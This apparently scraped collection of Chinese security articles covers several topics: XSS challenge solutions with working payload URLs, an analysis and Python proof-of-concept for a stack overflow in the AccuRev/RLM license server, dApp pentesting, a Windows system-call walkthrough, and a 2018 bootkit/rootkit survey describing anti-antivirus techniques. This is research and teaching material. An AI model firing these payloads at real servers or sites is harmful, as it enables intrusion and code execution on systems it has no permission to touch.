此题严格意义上来说，并不是BAT的实例，但是也放在了这个系列中了，因为个人觉得，这也算是比较经典的案例了。
**尾 巴**
截至发稿前，还有几个人也给出了自己的答案，我这里选了几个比较好的，贴出来供大家学习。
ID：Huuuuu 第12题（目前最短的解）
http://px1624.sinaapp.com/test//xsstest12/alert(12);var[xsstest12]=/..%2f/
其中var[xsstest12]这种写法是js中es6里面的解构赋值，有兴趣的可以阅读下方参考链接自行学习，这里就不再过多叙述了。<https://es6.ruanyifeng.com/#docs/destructuring>
ID：lala第11题（目前最短的解）
http://px1624.sinaapp.com/test/;alert(11)//..%2f../xsstest11/
这个构造思路也是利用注释符//把后面全部注释掉了，再构造合法路径即可。
第10题（目前最短的解）
http://px1624.sinaapp.com/test/xsstest10/?px=`}\%27-{a:`}-alert(1)//${`${`<!--<script>
将模板字符串放在了相对的最外层，这样构造的时候，很多由于字符导致的语法问题就可以基本无视了，遇到复合js模板构造的时候，此构造思路很值得学习。
第3题（比较不同的构造思路），用了两次注释符配合构造。
http://px1624.sinaapp.com/test/xsstest3/?px=*/{alert(1);';/*';//
这个思路和第7题 ID：zeddy的那个思路很像。
http://px1624.sinaapp.com/test/xsstest7/?px=%3C!--%3Cscript%20`)/*\%27%0aalert(1)%0aalert(`*///
当然，所有1~12题的构造思路并非唯一，也可欢迎其他人将自己更好更有意思的答案，发到我的邮箱
[email protected]并附上自己的ID，说不定下篇文章里面就会有你的绕过思路被收录了额。
目前共设计有16道题，修改下方链接的xsstest1为xsstest1~xsstest16即可。
<http://px1624.sinaapp.com/test/xsstest1/> | 社区文章 |
# Borland AccuRev许可证服务器的缓冲区溢出漏洞
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
****
**我最近看到zerodayinitiative发布了一个**[
**http://www.zerodayinitiative.com/advisories/ZDI-15-416/Borland**](http://www.zerodayinitiative.com/advisories/ZDI-15-416/Borland)
**AccuRev 许可证服务器的漏洞。**
他们关于这个漏洞的说明如下:
这个漏洞允许远程的攻击者在安装有Borland
AccuRev的服务器上执行任意命令,并且不需要认证。这个漏洞存在在service_startup_doit函数,在处理licfile参数的时候,有可能引发栈溢出。因为Reprise
License Manager被安装成服务,因此攻击着可以获取SYSTEM权限。
通过ZDI的报告,我发现有2处欺骗的信息:
1.有问题的函数是"service_Setup_doit"而不是"service_startup_doit".
2.有问题的参数是"debuglog"而不是"licfile".
AccuRev的下载链接如下:
[http://www.reprisesoftware.com/license_admin_kits/rlm.v11.3BL1-x86_w1.admin.exe](http://www.reprisesoftware.com/license_admin_kits/rlm.v11.3BL1-x86_w1.admin.exe)
通过在rlm.exe里搜索service_startup_doit字符串并没有发现任何结果,我尝试搜索"service_" ,得到了下面的结果
我不想根据这些字符串分析相应的函数,我这里用了其他的方法来尝试发现bug.
ZDI说漏洞函数能够被远程访问,所以我开始读RLM手册,找线索。RLM有一个web服务,监听5054,通过配合burpsuite我进行了一些fuzzing,最终在一个post请求里发现了"licfile"参数
但是rlm.exe返回了错误信息,并没有崩溃
我在immunity调试器里设置了断点,跟踪rlm.exe如果处理字符串长度。
基于上面的ASM代码,rlm检测字符串的长度小于或等于0x400,来阻止缓冲区溢出。我这时候想,或许我下载的rlm.exe版本不存在漏洞,接着我继续fuzzing,最终发现,当发送给"debuglog"参数的字符串小于0x400的时候,能够绕过检测,覆盖栈的返回值为0x414141,所以我推断出,有漏洞的参数是"debuglog",而不是"licfile"
我通过查看rlm.exe,发现它并不支持ASLR,但是这里有一个问题,rlm.exe地址里包含null,导致我们不能构造ROP,所以我这里是在XP系统上演示的,直接在栈里返回shellcode.
POC 代码如下:
import requests
url="http://10.211.55.39:5054/goform/service_setup_doit"
data= {
'servicedesc':'RLM+License+Server',
'servicename':'rlm',
'action':'1',
'debuglog':'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'+"x41x41x41x41",
'licfile':'C:UsersusernameDesktoprlm-old'
}
print requests.post(url, data=data).text
原文:[https://github.com/Rootkitsmm/Borland-AccuRev-StackoverFlow](https://github.com/Rootkitsmm/Borland-AccuRev-StackoverFlow) | 社区文章 |
# 如何渗透测试以太坊dApps
|
##### 译文声明
本文是翻译文章，文章来源：https://arvanaghi.com/
原文地址：<https://arvanaghi.com/blog/pentesting-ethereum-dapps/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
所谓的以太坊（Ethereum）去中心化应用（decentralized application，dApp），指的就是基于共识协议（consensus
protocol）交互的应用。在本文中，我们选择的目标为dApp最常见的某类应用场景：与一个或者多个智能合约（smart
contracts）交互的常规Web应用。
当我们通过Web访问某个dApp时（比如使用[MetaMask](https://metamask.io/)之类的扩展），我们就可以使用自己的私钥与网站交互，通过web接口对交易进行签名。
典型的dApp如下所示，这里我使用了web接口以及包含以太坊钱包的Chrome扩展来购买[Cryptokitty](https://arvanaghi.com/blog/pentesting-ethereum-dapps/cryptokitties.co)（区块链养猫）：
当浏览器与常规Web应用进行交互时，Web应用可能会与其他内部服务器、数据库或者云端再次交互。最后在我们看来，整个交互过程非常简单：
对于dApp，大多数交互过程与之类似，但这里还涉及到第三个元素：所有人都可以公开访问的智能合约。
与Web应用的某些交互操作涉及到读写以太坊区块链上的某个或者多个智能合约。
## 二、多管齐下
dApp之所以会出现，目的是为了让最终用户能更加方便地与智能合约进行交互。但现在并没有明确的规定，要求我们必须通过dApp的Web接口来与dApp的智能合约交互。由于大家都可以公开访问智能合约，因此我们可以
**直接** 与智能合约交互，不受Web服务器处理逻辑的限制，这些处理逻辑可能会限制我们发起的具体交易。
目前为止，我们可以通过两种方式进行渗透测试：
1、标准的Web应用渗透测试，涉及身份认证、访问控制以及会话管理等方面技术。
2、智能合约审计。
换句话说，我们可以检查Web应用以及智能合约的处理逻辑，看这两者中是否存在逻辑错误。
由于以太坊中存在modifiers（修改器）特性，因此其实我们还可以挖掘出另一种方式进行渗透测试。
## 三、Modifiers
在以太坊中，我们可以编写只能从特定以太坊地址调用才能执行的函数。`onlyOwner`就是modifier的一个典型实例，如果我们正确实现了`onlyOwner`，那么只有合约的所有者（owner）才能运行某些函数。
contract mortal {
/* Define variable owner of the type address */
address owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function writeData(bytes32 data) public onlyOwner returns (bool success) {
// will only run if owner sent transaction
}
...
}
虽然我们可以直接与智能合约进行交互，但如果正确实现了类似`onlyOwner`之类的modifier，我们就无法执行某些函数。然而在处理dApp时，Web服务器基本上都会保存对应特权地址的私钥数据，并且Web应用总是具备特定逻辑，可以接受用户在Web端的输入，然后使用其中某个私钥来调用智能合约中的某个特权函数。
由于dApp的确可以访问这些特权以太坊地址，那么第三条渗透测试分支就变成：“我们应该如何才能让dApp帮我们写入智能合约中的这些特权函数？”
考虑到这一点，现在我们的攻击面已经扩展为：
1、标准的Web应用评估（身份认证、访问控制、会话管理）。这个过程可能不涉及到智能合约，只涉及到横向或者纵向的权限提升、数据库注入、XSS等。
2、智能合约审计。权限问题、向上或者向下溢出、竞争条件等等。
3、尝试通过Web接口伪造智能合约的写入权限。我们是否能找到一种方式，使Web应用以非预期的方式来与智能合约交互？
我之前写过一段话，可以用来描述dApp的攻击面：
> 想象一下有个普通的Web应用，可能带有各种安全漏洞。现在，想象一下有一款应用，具备如下特点：
>
> 1、从头开始构建自己的数据库软件；
>
> 2、将这些数据库对外开放；
>
> 3、有些时候这些数据库中会存有真金白银。
>
> 这就是以太坊dApp开发者所需要面临的安全挑战。
>
> — Brandon Arvanaghi ([@arvanaghi](https://github.com/arvanaghi
> "@arvanaghi"))
> [2018年5月28日](https://twitter.com/arvanaghi/status/1000925430898184192?ref_src=twsrc%5Etfw)
## 四、使用Burp拦截请求
当我们注册Cryptokitties账户时，Web应用的处理逻辑会从用户的MetaMask扩展中提取用户所公开的以太坊地址，随后，网站会要求我们输入邮箱地址以及账户昵称。
接下来这一步比较重要：由于dApps面向以太坊账户，因此基于的是公钥认证机制，而非密码认证机制。
因此，Cryptokitties会要求我们签名某条消息（“Cryptokitties”），确保我们拥有与该地址对应的私钥。
如果我们拦截这个请求，可以看到如下数据：
从理论上来讲，Cryptokitties会验证 **sign** 参数中的数据（即已签名的“Cryptokitties”消息）是否与 **address**
参数中的数据（即我们的以太坊地址）对应。
这个验证过程位于Web应用的处理逻辑中。我之前碰到过有些dApp没有正确处理签名验证过程，因此我可以将请求中的以太坊地址替换成与签名不匹配的以太坊地址，如下所示：
Cryptokitties可以正确处理签名验证逻辑，但如果某个dApp无法做到这一点，我就可以通过伪造的以太坊地址发起拒绝服务攻击，也可以在该应用上伪造账户身份。
## 五、登录过程
[Bloom](https://bloom.co/)是最为高级的dApp之一，我们可以利用其[创建](https://app.bloom.co/signup)一个去中心化的身份标识。背后的原理就是将身份标识与用户的以太坊地址绑定，这样就不会像社会安全码（SSN）那样被窃取或者伪造。由于Bloom是迄今为止最为成熟的dApp之一，因此我向大家隆重推荐这款应用，如果大家还没有创建自己的[BloomID](https://app.bloom.co/signup)，可以考虑尝试一下。
Bloom在认证处理方面非常严格。注册账户后，后续过程中如果我们需要从以太坊地址进行登录，都需要签名一条消息，该消息中包含用户的意图（ _我正在登录_
）、邮箱地址以及当前时间。
Bloom为什么考虑对这些字段进行签名？原因有以下几点：
1、操作意图：如果用户不了解他们所签名的具体内容，那么签名以及发送签名数据有时候是比较危险的操作。Bloom在消息文本中明确给出了签名操作的具体意图。
2、邮箱地址：Bloom会从签名中恢复邮箱地址，检查该地址是否为签署消息的以太坊地址的注册邮箱。如果两者匹配，则此次登录为有效登录操作（在当前登录环节）。
3、时间戳：用来阻止重放攻击。如果签名中未包含当前时间信息，获得该签名数据的攻击者可以随时重放这些数据，以目标用户的身份进行认证。成功签名后，如果Web应用在几分钟的时间窗口内收到签名数据，Bloom会认为这个签名为有效签名。
如果任何一个字段被篡改，就会出现错误信息，这表明Bloom在认证机制方法处理得很好。
## 六、智能合约漏洞
前面我们讨论了智能合约的某种攻击方式，直接分析了智能合约中是否存在安全漏洞。接下来我们来看一下现实环境中已挖掘出的某些漏洞。
### batchOverflow
这个漏洞称之为`batchOverflow`漏洞，从名字中我们不难猜到这是一个溢出漏洞。
我发起了一次小测试，想看看大家是否有解决这个溢出漏洞的方法。在查看答案之前，大家可以试一下自己能否找到利用该漏洞的具体方法。
大家可以访问<a href=”https://medium.com/[@peckshield](https://github.com/peckshield
"@peckshield")/alert-new-batchoverflow-bug-in-multiple-erc20-smart-contracts-cve-2018-10299-511067db6536″>此链接查看详细分析过程。
### 重新初始化钱包所有者
我不会把这个漏洞归为“黑客攻击”范畴，但Parity的确因为没有正确实现某个modifier（我们前面分析过这方面内容）而损失惨重。此时任何人都可以调用`initWallet`函数，将自己的地址设置为该钱包的所有者。
通常情况下，钱包（或者合约）的所有者需要在合约的构造函数中进行设置，构造函数只会被调用一次。如果后续想修改该地址，就需要在某个函数的处理逻辑中进行操作，而该函数需要原先所有者的签名数据。这种情况下，由于不存在这类modifier，因此攻击者可以随时调用`initWallet`。
大家可以访问[此链接](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7)查看详细分析过程。
## 七、智能合约审计工具
在审计智能合约代码方面，已经存在一些非常强大的开源工具，其中包括Trail of
Bits的[Manticore](https://github.com/trailofbits/manticore)以及ConsenSys的[Mythril](https://github.com/ConsenSys/mythril.git)，我会在另一篇文章中详细介绍这些工具细节。
## 八、总结
希望阅读本文后，大家可以更好地理解dApp的攻击面，也能了解dApp与标准Web应用之间的差异。
如果大家想了解以太坊或者区块链安全方面的更多内容，欢迎关注我的[推特](https://twitter.com/arvanaghi)，我会经常更新相关内容。 | 社区文章 |
# 红队安全研发系列之Ring3到Ring0系统调用过程上（Ring3篇）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这篇文章我们将研究CreateFile是如何从Ring3到Ring0，其中经过了哪些模块，而这些模块又是通过什么技术关联起来的。通过这一篇文章的学习，我们可以更好的了解操作系统内部的调用原理，更能帮助我们深入理解操作系统的各组件的相互调用关系。
## 为什么学？
如果你想在操作系统上达成以下事情，那么学习这篇文章就是你最好的选择。或者你有下列想法，那么通过举一反三，也是可以做到的。
1.做Hook。Hook可以做的事情非常多，账密拦截，HTTPS拦截。
2.研究和挖掘系统级别漏洞。
3.Rootkit研究。
4.夯实操作系统基础知识。
## 环境配置
1.在vmware安装win7 sp1 32位。
2.在win7 sp1 32位Windbg设置Symbol File Path为
`SRV*c:\symbols*http://msdl.microsoft.com/download/symbols`（需要翻墙），勾选Reload后会下载符号。
3.下载符号完毕后将下载好的c:\symbols拷贝到物理机器。
4.使用VirtualKD进行双机调试。
## 实战开始
### 示例代码
我们要知道函数调用了哪个组件的API，就需要用到IDA来分析整个程序，获得程序的汇编代码还有其导入表。将示例代码使用VS2019生成后即可用IDA导入。在生成时记得要设置
Configuration Properties->Configuration Properties->Linker->Debugging的Generate Debug Info为Yes (/DEBUG)
这样生成后的EXE会伴随着一个PDB文件，PDB存放了程序的代码对应的行号等等调试相关的信息。在IDA打开时也会显示出程序的函数名，而不是一堆函数地址。
// 示例代码
#include "stdafx.h"
#include "windows.h"
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
HANDLE h = CreateFile(
L"bar.txt",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
CREATE_NEW,
FILE_ATTRIBUTE_TEMPORARY,
NULL);
if (h == INVALID_HANDLE_VALUE) {
DWORD err = GetLastError();
printf("err %d\n", err);
return 1;
}
printf("%p\n", h);
return 0;
}
### IDA分析示例PE文件
首先我们使用IDA加载我们生成好的PE文件，查看main函数。
可以发现 **call ds: **imp** CreateFileW[@28](https://github.com/28
"@28")**的函数调用，而_imp开头的函数都不是本exe所实现的。都是外部调用。我们需要在IDA中打开导入表一栏，如下图所示
我们通过查看导入表得知。该函数导入自kernel32.dll。
### IDA分析kernel32.dll
可以从IDA分析得知，Kernel32.dll又会依赖外部的函数_imp_CreateFile。
我们分析导入表，得知该函数导入自API-MS-Win-Core-File-L1-1-0.dll(这个DLL系统不存在，是一个虚拟DLL，会被重定向到kernelbase.dll，具体技术请参考[MinWin
Dll重定向集](https://lucasg.github.io/2017/10/15/Api-set-resolution/ "MinWin
Dll重定向集")
在此我们可以利用一个工具[DependenceWalker](https://github.com/lucasg/Dependencies
"Dependency Walker")，在Ring3级别查看Dll的依赖，可以从下图看到，dll依赖路径是 **kernel32.dll->kernelbase.dll->ntdll.dll**
### IDA分析Kernelbase.dll
从IDA分析可以看到， **kernelbase** 中的 **CreateFileW**
最终会调用_imp_NtCreateFile，该函数依旧是个外部引用函数。我们分析一下导入表。
经过导入表分析，发现NtCreateFile是来自ntdll.dll。
### IDA分析ntdll.dll
将ntdll.dll导入IDA，在函数栏搜索 **NtCreateFile** ,可以看到NtCreateFile汇编代码如下图所示。
可以看到，在ntdll中仅有简单的如下几句代码：
mov eax,42h;
mov edx,7FFE0300h
call dword ptr [edx]
retn 2Ch
这里有两个很关键的值，42h和7FFE0300h，为了我们理解更加扎实，我们需要知道这个值不是随便选择的，而是来自一个数据结构SharedUserData。而
**7FFE0000** 则是这个结构的内存地址。300h则是偏移量。下面我们将研究这个结构的组成。
**共享数据结构SharedUserData与KiFastSystemCall成员**
我们使用 **dt _KUSER_SHARED_DATA**
来查看这个数据结构，可以看到如下成员,还可以[参考msdtc](https://docs.microsoft.com/zh-cn/windows-hardware/drivers/ddi/ntddk/ns-ntddk-kuser_shared_data "参考msdtc")来查看此结构：
+0x000 TickCountLowDeprecated : Uint4B
+0x004 TickCountMultiplier : Uint4B
+0x008 InterruptTime : _KSYSTEM_TIME
+0x014 SystemTime : _KSYSTEM_TIME
+0x020 TimeZoneBias : _KSYSTEM_TIME
+0x02c ImageNumberLow : Uint2B
+0x02e ImageNumberHigh : Uint2B
+0x030 NtSystemRoot : [260] Wchar
+0x238 MaxStackTraceDepth : Uint4B
+0x23c CryptoExponent : Uint4B
+0x240 TimeZoneId : Uint4B
+0x244 LargePageMinimum : Uint4B
+0x248 Reserved2 : [7] Uint4B
+0x264 NtProductType : _NT_PRODUCT_TYPE
+0x268 ProductTypeIsValid : UChar
+0x26c NtMajorVersion : Uint4B
+0x270 NtMinorVersion : Uint4B
+0x274 ProcessorFeatures : [64] UChar
+0x2b4 Reserved1 : Uint4B
+0x2b8 Reserved3 : Uint4B
+0x2bc TimeSlip : Uint4B
+0x2c0 AlternativeArchitecture : _ALTERNATIVE_ARCHITECTURE_TYPE
+0x2c8 SystemExpirationDate : _LARGE_INTEGER
+0x2d0 SuiteMask : Uint4B
+0x2d4 KdDebuggerEnabled : UChar
+0x2d8 ActiveConsoleId : Uint4B
+0x2dc DismountCount : Uint4B
+0x2e0 ComPlusPackage : Uint4B
+0x2e4 LastSystemRITEventTickCount : Uint4B
+0x2e8 NumberOfPhysicalPages : Uint4B
+0x2ec SafeBootMode : UChar
+0x2f0 TraceLogging : Uint4B
+0x2f8 Fill0 : Uint8B
+0x300 SystemCall : [4] Uint8B
+0x320 TickCount : _KSYSTEM_TIME
+0x320 TickCountQuad : Uint8B
通过Windbg查询得知SystemCall是一个Uint8B[4]，也就是一个八位无符号整形的数组，大小为4，我们使用dd addr来查看这个地址。
0:000> dd 7FFE0300
7ffe0300 77c470b0 77c470b4 00000000 00000000
7ffe0310 00000000 00000000 00000000 00000000
7ffe0320 001dd655 00000000 00000000 00000000
7ffe0330 23066a39 00000000 00000dec 00000000
7ffe0340 00000000 00000000 00000000 00000000
7ffe0350 00000000 00000000 00000000 00000000
7ffe0360 00000000 00000000 00000000 00000000
7ffe0370 00000000 00000000 00000000 00000000
查看可以看到两个值77c470b0，77c470b4。这两个值又是做什么的呢？我们通过uf命令查看
0:000> uf 77c470b0
ntdll!KiFastSystemCall:
77c470b0 8bd4 mov edx,esp //保存3环栈顶
77c470b2 0f34 sysenter //快速调用指令
77c470b4 c3 ret
0:000> u 77c470b4
ntdll!KiFastSystemCallRet:
77c470b4 c3 ret
**ntdll!KiFastSystemCall** 会调用到 **systenter** ，而 **ntdll!KiFastSystemCallRet**
则是使用ret指令返回调用。
**sysenter指令**
通过 **sysenter** 指令进0环主要有以下步骤:
CS/ESP/EIP由MSR寄存器提供(SS为msr[174])，msr[174]是cs,msr[175]为esp,msr[176]为eip
进入0环后执行的内核函数: NT!KiFastCallEntry
通过sysexit指令返回用户模式
在Windbg中，我们可以使用 **rdmsr** 命令来查看msr的值。通过读取到msr，我们再使用u addr(eip)来查看eip的指向是哪个函数。
1: kd> uf 77c470b0
ntdll!KiFastSystemCall:
77c470b0 8bd4 mov edx,esp //保存3环栈顶
77c470b2 0f34 sysenter //快速调用指令
1: kd> rdmsr 174
msr[174] = 00000000`00000008
1: kd> rdmsr 175
msr[175] = 00000000`807eb000
1: kd> rdmsr 176
msr[176] = 00000000`828490c0
1: kd> u 828490c0
nt!KiFastCallEntry:
828490c0 b923000000 mov ecx,23h
828490c5 6a30 push 30h
828490c7 0fa1 pop fs
828490c9 8ed9 mov ds,cx
828490cb 8ec1 mov es,cx
828490cd 648b0d40000000 mov ecx,dword ptr fs:[40h]
828490d4 8b6104 mov esp,dword ptr [ecx+4]
828490d7 6a23 push 23h
可以看到，我们通过断点到sysenter前。使用rdmsr指令读取msr[176]的值，读取出来的EIP为828490c0，使用u
addr命令得知，在我们执行sysenter这句话后，会直接跳转到nt内核模块的KiFastCallEntry函数。
## 总结
有上述可以得知，在Ring3环节整个调用路径和其模块为
**CreateFile(kernel32.dll) - > CreateFile(kernelbase.dll) ->
NTCreateFile(ntdll.dll) -> KiFastSystemCall(ntdll.dll) -> sysenter(进入Ring0) ->
KiFastCallEntry(nt模块)** | 社区文章 |
# 一. 前言
有一类病毒木马令中招者无比头疼，怎么头疼呢，就是普通网友一旦中招，一般的杀毒方法杀不干净。用杀毒软件杀不完，格式化重装行不行？但这类病毒一般网友格式化重装很快发现又来了。什么样的病毒如此顽固，今天让我们来盘一盘。
顽固病毒主要指利用计算机启动后较早的时机获得执行机会，运行在系统底层的Bootkit病毒及Rootkit病毒。Bootkit病毒会感染磁盘MBR、VBR，在系统引导阶段就获得执行控制权，有启动早，隐藏性高等特点。Rootkit病毒在Ring0层执行，有着较高的权限，往往通过挂钩磁盘钩子，注册回调等技术手段实现自保护，有与杀软对抗激烈，变种多等特点。
2018年较为活跃的Bootkit/Rootkit
病毒家族包括暗云、独狼、外挂幽灵、血狐、紫狐、隐魂、双枪、主页保安木马等等家族，其中下半年最为活跃的Rootkit病毒家族为独狼家族，仅电脑管家进行披露的独狼家族相关的病毒感染事件就有3例，传播渠道从独狼一代的盗版GHOST系统到独狼二代的激活工具，从主页锁定，刷量获利到传播盗号木马，到强力破坏杀毒软件功能，可谓是无恶不作。
Bootkit最为活跃的病毒家族为暗云及隐魂系列，其中暗云不仅频繁更换C2网址，还首次发现和Mykings僵尸网络进行捆绑传播，此外国内厂商披露的暗云变种”隐匿者”也加入了挖矿的行列。Bootkit病毒家族隐魂最早在2017年被披露，其变种“隐蜂”最主要的变现方式也是挖矿。
Bootkit/Rootkit病毒传播渠道可以分为四大类，主要包括盗版Ghost系统、激活工具、游戏外挂辅助及下载器、第三方流氓软件，及通过漏洞利用弱口令爆破等传播新方式。值得注意的是，腾讯御见威胁情报中心在不同的时间段随机抽取了各大系统下载站点共对270个系统下载链接下的系统进行检测，发现预埋病毒导致的系统异常的下载链接共202个，异常占比高达75%。
本文主要从Bootkit/Rootkit病毒活跃家族、传播渠道、对抗技术、典型案例四个方面盘点2018年病毒的主要态势及变化。
网民一旦中了顽固难杀的病毒，一般的查杀方法容易失败，推荐下载电脑管家急救盘（急救箱PE版），创建急救U盘，用急救U盘开机查杀病毒。可访问这里下载电脑管家急救箱PE版：<https://guanjia.qq.com/avast/283/index.html>
# 二. 2018年活跃 B(R)ootkit病毒家族盘点
Bootkit/Rootkit病毒依然是C端普通用户感染后查杀难度较大的主要病毒类型，2018年较为活跃的Bootkit/Rootkit
病毒家族包括暗云、独狼、外挂幽灵、血狐、紫狐、隐魂、双枪、主页保安木马等家族。
典型的Bootkit/Rootkit病毒感染事件包括：
SQL SEVER弱口令爆破入侵，暗云，Mykings等多个病毒家族捆绑入侵传播事件；
酷玩游戏盒子伪造知名公司数字签名，传播Steam盗号，独狼Rootkit木马事件；
“外挂幽灵”团伙曝光 系双枪、紫狐两大病毒家族的幕后推手；
页游微端《血盟荣耀》强锁主页，劫持50余个知名电商和搜索网站流量 等等。
腾讯御见威胁情报中心对Rootkit病毒的签名信息进行统计，发现Rootkit病毒的签名信息高度集中，部分签名会被泛滥使用，其中以“上海预联软件技术有限公司”及“双双
何”最为严重被木马病毒使用的最为广泛。
图2被病毒滥用签名
对2018年度主要的活跃Bootkit/Rootkit进行统计，其主要的变现获利方式有刷流量，锁主页，恶意推广，网络攻击，挖矿等。其中锁主页仍然是最主要的变现方式，占比高达35%，其次为刷流量及软件推广，占比30%，其中暗云，独狼等家族其主要变现方式就是锁主页及刷量。随着挖矿黑产的兴起，挖矿获利也逐渐增多(占比10%)，如“隐蜂”木马，暗云新变种等Bootkit木马也转投挖矿获利。
图3顽固木马的主要获利变现方式
# 三. B(R)ootkit病毒传播渠道
## 1\. 盗版Ghost系统
盗版Ghost系统长期以来一直都是病毒传播的重要载体，更为重要的是，预埋了病毒的盗版Ghost往往利用搜索引擎厂商的广告竞价排名，使得普通网民在搜索“Ghost”系统，“win
7”，“激活工具”等相关关键字时显示在搜索前几名的绝大部分都是带毒的系统，即使网民试图通过搜索引擎搜索“净化版”，展示的搜索结果仍会在靠前的位置展示内嵌病毒的下载链接。
图4带毒Ghost系统
腾讯御见威胁情报中心对各大站点的Ghost系统进行了检测发现有几个特点：
a. 这些盗版Ghost系统的下载链接会被频繁的更换，其主要目的是为了躲避安全厂商对这些下载链接的报毒提示；
b.
这些带毒的系统绝大部分会利用搜索引擎广告进行推广。由于国内软件使用习惯等原因，普通网民获得这些安装系统的主要途径就是网上搜索，这导致了有重装系统刚需的用户有极大概率会下载这些存在风险的系统而成为受害者；
c. 提供这些Ghost系统的网站基本都在显要位置推带毒系统下载。
腾讯御见威胁情报中心在不同的时间段随机抽取了各大系统下载站点共对270个系统下载链接下的系统进行检测，发现预埋病毒导致的系统异常的下载链接共202个，异常占比高达75%，这里的系统异常指由于系统预埋病毒导致的主页被锁定，暗刷流量，流氓推装其他软件等系统异常问题。
图5异常系统占比
图6部分问题下载链接及站点
盗版Ghost系统已成病毒传播温床，重要的原因是其背后存在利益驱动。首先是盗版Ghost系统通过广告竞价排名获得网络访问量以吸引用户下载安装，随后Ghost系统中预装病毒，最终实现软件推广安装，劫持主页等手段进行获利。获利之后再继续加大推广力度，形成一个完整的闭环产业链。
鉴于盗版Ghost系统，各类激活工具已长期频繁地被病毒团伙利用传播，建议网民尽量使用正版软件。
图7病毒获利链
## 2\. 盗版激活工具、游戏外挂及各类下载器
游戏外挂，各类辅助工具也是病毒传播的重要载体，其目标为游戏玩家，而传播这些外挂辅助工具的主要是各大外挂网站，包括七哥辅助网（www.52wzlt.cn）、我爱辅助网（www.50fzw.com）、屠城社区等多个游戏辅助网站。
经常被用于和病毒打包捆绑传播的外挂辅助工具包括荒野设备解封器、单板方框透视、DNF梦幻装备、帝王破解版等。2018年披露的通过外挂辅助进行传播的Rootkit/Bootkit包括双枪木马，紫狐，外挂幽灵等病毒家族。
图8流行的带毒游戏外挂、辅助工具
2018年，被用于传播病毒的激活工具中最活跃的莫过于小马激活工具。激活工具有多个变种，打着win7
激活、系统激活、office激活的名义，换各种马甲传播，病毒文件往往和激活工具捆绑打包，运行后便会染毒。独狼2代就是主要通过激活工具进行传播。
图9小马激活工具
## 3\. 第三方流氓软件
除了前面提到的的盗版Ghost系统、激活工具、下载器等传播渠道，第三方流氓软件也是Rootkit/Bootkit病毒的重要传播渠道。
第三方流氓软件的主要特点是，这些软件往往都是用户主动去进行下载安装，看起来和正常的软件没什么区别，都有完整的安装及展示界面，但是这些软件却神不知鬼不觉地往用户电脑机器上安装病毒文件，这类传播渠道往往有隐秘性，看起来像“正规”商业软件，用大量网民使用。
这类传播渠道的病毒感染安装主要有两种方式，一种是安装完软件后并不会马上感染病毒，而是过一段时候后通过云端控制或者软件升级的方式下载安装病毒，另一种方式是病毒和软件捆绑安装。
这类传播渠道已成为病毒传播的重要推手，仅仅在2018年下半年，经电脑管家首先进行披露的利用第三方流氓软件传播Rootkit/Bootkit病毒的就有主页保安、血盟荣耀微端、护眼小秘书、酷玩游戏盒、桌面助手等软件。
图10护眼秘书 血盟荣耀展示界面
## 4\. 利用漏洞、弱口令爆破等传播新方式
通过弱口令爆破，漏洞利用成功后进行投毒，以前这类病毒传播入侵方式更多的是集中于B端企业用户。但近年来随着挖矿病毒、勒索病毒的兴起，挖矿勒索等病毒为了增加查杀难度，获得更早的执行机会，也会和Rootkit/Bootkit这类顽固病毒进行捆绑传播。
其中最为典型的案例如，暗云木马和Mykings僵尸网络捆绑传播，由于暗云木马在系统引导阶段之前就获得了执行机会，其执行时机要比操作系统还要早，这就大大增加了查杀成本和难度，在这次传播事件中，首先是通过SQL
SEVER弱密码进行爆破，爆破成功后投放暗云木马、Mykings僵尸病毒，随后Mykings僵尸病毒会利用多种漏洞在内网主动扩散，永恒之蓝、Telnet爆破、FTP爆破等都是病毒传播者最惯用的伎俩。
图11入侵传播方式
图12尝试SQLSEVER弱密码爆破
# 四．对抗技术升级盘点
1. 拦截过滤
Rootkit病毒往往会注册各种各样的回调，或者hook系统相关函数，以在合适的时间点获得执行机会，在回调函数中完成相关的拦截过滤功能。以独狼一代为例，独狼系列病毒家族可以说是病毒高难度对抗的集大成者，这是一个过滤型驱动，具有完善的过滤架构，拦截过滤点包括文件过滤、网络过滤等，下图为过滤点及其使用的技术，及影响风险。
图13独狼Rootkit过滤点
2. 对抗杀软
Bootkit/Rootkit病毒为了躲避杀软查杀，对抗技术手段有很多，常见的一些对抗手段如下：
图14
道高一尺魔高一丈，杀毒软件和顽固病毒的对抗是一个持续性的过程，每当病毒用一种新的方法来躲避或者绕过杀毒软件查杀的时候，很快杀毒软件也会升级查杀能力对新病毒进行查杀。走投无路了病毒也会放出大招，比如强制重启电脑以阻断查杀过程。
